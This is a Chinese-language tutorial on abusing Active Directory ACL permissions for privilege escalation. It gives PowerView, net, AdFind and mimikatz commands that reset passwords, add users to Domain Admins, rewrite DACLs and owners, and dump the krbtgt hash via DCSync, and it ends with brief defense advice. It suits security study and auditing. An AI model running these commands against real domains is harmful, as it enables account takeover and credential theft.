Abusing AD ACL
字数 1268 2025-08-05 00:16:38
Active Directory ACL 滥用攻击技术详解
0x01 ACL 简介
Active Directory 访问控制列表(ACL)主要有两种类型:
- DACL (自由访问控制列表) - 负责权限访问控制
- SACL (系统访问控制列表) - 负责日志记录功能
每条规则称为 ACE (访问控制条目),由 SDDL (安全描述符定义语言)定义。
0x02 攻击者感兴趣的对象权限
1. GenericAll (完全对象控制)
权限能力:
- 将用户添加到组
- 更改用户密码
- 向对象用户注册 SPN
利用示例:
# 查找对user1有GenericAll权限的用户
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}
# 使用iis用户更改user1密码
net user user1 newpassword /domain
2. Self (Self-Membership)
权限能力:
- 自成员权限,可将自己添加到组
利用示例:
# 查找对Domain Admins组有WriteProperty权限的账号
Get-ObjectAcl -SamAccountName "CN=Domain Admins,CN=Users,DC=muxue,DC=com" -ResolveGUIDs
# 将自己加入域管组
net group "domain admins" user1 /add /domain
3. GenericWrite (通用写入)
权限能力:
- 更新目标对象参数值
- 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性(基于资源的约束委派)
利用示例:
# 查找对win7有写入权限的用户
Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}
# 添加机器用户
net computer \\evilpc /add
4. AllExtendedRights (所有扩展权限)
权限能力:
- 强制更改目标用户密码(ForceChangePassword)
利用示例:
# 查找ForceChangePassword权限
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*extended*"}
# 重置密码
Set-ADAccountPassword -Identity user1 -NewPassword (ConvertTo-SecureString "newpass" -AsPlainText -Force)
5. WriteProperty (写入属性)
权限能力:
- 将用户加入组
利用示例:
# 使用AdFind查找权限
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com," ntsecuritydescriptor -sddlfilter ;;;;;iis -sddl+++ -recmute -sdna -s basea -s base
6. WriteOwner (写入所有者)
权限能力:
- 修改对象安全描述符的所有者
利用示例:
# 查找组的SID
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com"
# 修改所有者
Set-DomainObjectOwner -Identity S-1-5-21-511003792-1237030605-620821399-512 -OwnerIdentity "iis" -Verbose
7. WriteDACL (写入DACL)
权限能力:
- 修改对象的权限
利用示例:
# 查找WriteDacl权限
Get-ObjectAcl -SamAccountName "acltest" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
# 添加GenericAll权限
Add-DomainObjectAcl -TargetIdentity acltest -PrincipalIdentity iis -Rights All -Verbose
8. DCSync (域复制)
所需权限:
- DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-In-Filtered-Set (可选,GUID: 89e95b76-444d-4c62-991a-0facbeda640c)
利用示例:
# 使用mimikatz进行DCSync
mimikatz # lsadump::dcsync /domain:muxue.com /user:krbtgt
0x03 攻击组合技术
- Exchange 组合攻击:利用Exchange服务器权限进行ACL滥用
- 中继攻击组合:结合NTLM中继进行DCSync
- AdminSDHolder 攻击:利用AdminSDHolder容器的特殊权限特性
防御建议
- 定期审计Active Directory权限分配
- 实施最小权限原则
- 监控敏感权限变更
- 限制特权账户的使用范围
- 启用详细的安全日志记录
工具推荐
- PowerView.ps1 - 查询和修改ACL
- AdFind.exe - 查询AD对象信息
- Mimikatz - DCSync攻击
- Rubeus - Kerberos票据操作
- Impacket - 多种AD攻击工具集
通过深入理解这些ACL权限和攻击技术,安全团队可以更好地防御Active Directory环境中的权限滥用风险。